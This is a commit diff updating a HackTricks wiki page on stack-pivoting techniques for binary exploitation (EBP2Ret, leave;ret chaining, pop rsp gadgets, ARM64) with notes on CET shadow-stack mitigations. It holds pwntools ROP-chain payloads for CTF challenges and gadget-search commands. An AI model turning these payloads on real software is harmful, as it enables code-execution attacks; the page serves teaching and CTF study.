mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Research Update: Enhanced src/binary-exploitation/stack-over...
This commit is contained in:
parent
9f02ef0154
commit
512c118ca9
@ -4,59 +4,63 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
|
||||
This technique exploits the ability to manipulate the **Base Pointer (EBP/RBP)** to chain the execution of multiple functions through careful use of the frame pointer and the **`leave; ret`** instruction sequence.
|
||||
|
||||
As a reminder, **`leave`** basically means:
|
||||
As a reminder, on x86/x86-64 **`leave`** is equivalent to:
|
||||
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
ret
|
||||
```
|
||||
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack.
|
||||
|
||||
> Notes
|
||||
> - On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
|
||||
> - Some compilers omit the frame pointer (see “EBP might not be used”). In that case, `leave` might not appear and this technique won’t work.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
|
||||
This technique is particularly useful when you can **alter the saved EBP/RBP but have no direct way to change EIP/RIP**. It leverages the function epilogue behavior.
|
||||
|
||||
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
|
||||
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
|
||||
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the `pop`), you can indirectly control RIP. As the function returns, `leave` sets RSP to the crafted location and the subsequent `pop rbp` decreases RSP, **effectively making it point to an address stored by the attacker there**. Then `ret` will use that address.
|
||||
|
||||
Note how you **need to know 2 addresses**: the address where ESP/RSP is going to go, and the value stored at that address that `ret` will consume.
|
||||
|
||||
#### Exploit Construction
|
||||
|
||||
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
|
||||
First you need to know an **address where you can write arbitrary data/addresses**. RSP will point here and **consume the first `ret`**.
|
||||
|
||||
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
|
||||
Then, you need to choose the address used by `ret` that will **transfer execution**. You could use:
|
||||
|
||||
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
|
||||
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
|
||||
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
|
||||
- Some [**ROP**](../rop-return-oriented-programing/index.html) chain
|
||||
- The address of **`system()`** followed by the appropriate return and arguments (on x86: `ret` target = `&system`, then 4 junk bytes, then `&"/bin/sh"`).
|
||||
- The address of a **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by inline shellcode.
|
||||
- A [**ROP**](../rop-return-oriented-programing/index.html) chain staged in writable memory.
|
||||
|
||||
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
|
||||
Remember that before any of these addresses in the controlled area, there must be **space for the `pop ebp/rbp`** from `leave` (8B on amd64, 4B on x86). You can abuse these bytes to set a **second fake EBP** and keep control after the first call returns.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
|
||||
Usually it's modified the byte 0x00t o jump as far as possible.
|
||||
There's a variant used when you can **only modify the least significant byte of the saved EBP/RBP**. In such a case, the memory location storing the address to jump to with **`ret`** must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
|
||||
|
||||
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
|
||||
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
|
||||
|
||||
### **EBP Chaining**
|
||||
### EBP Chaining
|
||||
|
||||
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
|
||||
By placing a controlled address in the saved `EBP` slot of the stack and a `leave; ret` gadget in `EIP/RIP`, it's possible to **move `ESP/RSP` to an attacker-controlled address**.
|
||||
|
||||
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
|
||||
Now `RSP` is controlled and the next instruction is `ret`. Place in the controlled memory something like:
|
||||
|
||||
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
|
||||
- **`system()`** -> Called by `ret`
|
||||
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
|
||||
- **`&("/bin/sh")`**-> Param fro `system`
|
||||
- `&(next fake EBP)` -> Loaded by `pop ebp/rbp` from `leave`.
|
||||
- `&system()` -> Called by `ret`.
|
||||
- `&(leave;ret)` -> After `system` ends, moves RSP to the next fake EBP and continues.
|
||||
- `&("/bin/sh")` -> Argument for `system`.
|
||||
|
||||
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
|
||||
This way it's possible to chain several fake EBPs to control the flow of the program.
|
||||
|
||||
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), but more complex with no apparent benefit but could be interesting in some edge-cases.
|
||||
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), but more complex and only useful in edge-cases.
|
||||
|
||||
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
|
||||
|
||||
@ -75,7 +79,7 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
0x0, # rbp (could be the address of another fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
@ -84,11 +88,11 @@ payload = flat(
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leaked address in RBP
|
||||
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
@ -96,12 +100,13 @@ p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
|
||||
> amd64 alignment tip: System V ABI requires 16-byte stack alignment at call sites. If your chain calls functions like `system`, add an alignment gadget (e.g., `ret`, or `sub rsp, 8 ; ret`) before the call to maintain alignment and avoid `movaps` crashes.
|
||||
|
||||
## EBP might not be used
|
||||
|
||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||||
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations or with frame-pointer omission, the **EBP/RBP never controls ESP/RSP**. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.
|
||||
|
||||
- **Not optimized:**
|
||||
- Not optimized / frame pointer used:
|
||||
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
@ -114,24 +119,26 @@ leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
|
||||
- **Optimized:**
|
||||
- Optimized / frame pointer omitted:
|
||||
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
push %ebx # save callee-saved register
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
|
||||
On amd64 you’ll often see `pop rbp ; ret` instead of `leave ; ret`, but if the frame pointer is omitted entirely then there’s no `rbp`-based epilogue to pivot through.
|
||||
|
||||
## Other ways to control RSP
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
### `pop rsp` gadget
|
||||
|
||||
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
|
||||
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For that challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
|
||||
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
@ -177,7 +184,7 @@ p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
|
||||
### xchg \<reg>, rsp gadget
|
||||
### xchg <reg>, rsp gadget
|
||||
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
@ -193,20 +200,71 @@ Check the ret2esp technique here:
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## References & Other Examples
|
||||
### Finding pivot gadgets quickly
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
|
||||
Use your favorite gadget finder to search for classic pivot primitives:
|
||||
|
||||
- `leave ; ret` on functions or in libraries
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (or `add esp, <imm> ; ret` on x86)
|
||||
|
||||
Examples:
|
||||
|
||||
```bash
|
||||
# Ropper
|
||||
ropper --file ./vuln --search "leave; ret"
|
||||
ropper --file ./vuln --search "pop rsp"
|
||||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
||||
|
||||
# ROPgadget
|
||||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
```
|
||||
|
||||
### Classic pivot staging pattern
|
||||
|
||||
A robust pivot strategy used in many CTFs/exploits:
|
||||
|
||||
1) Use a small initial overflow to call `read`/`recv` into a large writable region (e.g., `.bss`, heap, or mapped RW memory) and place a full ROP chain there.
|
||||
2) Return into a pivot gadget (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) to move RSP to that region.
|
||||
3) Continue with the staged chain (e.g., leak libc, call `mprotect`, then `read` shellcode, then jump to it).
|
||||
|
||||
## Modern mitigations that break stack pivoting (CET/Shadow Stack)
|
||||
|
||||
Modern x86 CPUs and OSes increasingly deploy **CET Shadow Stack (SHSTK)**. With SHSTK enabled, `ret` compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first `ret` is executed from a pivoted stack.
|
||||
|
||||
- For background and deeper details see:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
- Quick checks on Linux:
|
||||
|
||||
```bash
|
||||
# 1) Is the binary/toolchain CET-marked?
|
||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||||
|
||||
# 2) Is the CPU/kernel capable?
|
||||
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
||||
|
||||
# 3) Is SHSTK active for this process?
|
||||
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
||||
|
||||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
||||
(gdb) checksec
|
||||
```
|
||||
|
||||
- Notes for labs/CTF:
|
||||
- Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter `nousershstk`, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets.
|
||||
- JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks `ret`-based pivots.
|
||||
|
||||
- Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at `ret`; developers opt-in via CETCOMPAT and related policies (see reference).
|
||||
|
||||
## ARM64
|
||||
|
||||
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
|
||||
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP register** in the stack. Moreover, the **`RET`** instruction doesn't return to the address pointed by SP, but **to the address inside `x30`**.
|
||||
|
||||
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
|
||||
Therefore, by default, just abusing the epilogue you **won't be able to control the SP register** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
|
||||
|
||||
- prologue
|
||||
|
||||
@ -225,7 +283,7 @@ Therefore, by default, just abusing the epilogue you **won't be able to control
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
|
||||
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking its address from the stack and we have an overflow) and then **abuse the epilogue** to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
|
||||
|
||||
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
|
||||
|
||||
@ -233,7 +291,15 @@ Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
|
||||
- Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK, `nousershstk`, `/proc/$PID/status` flags, and enabling via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user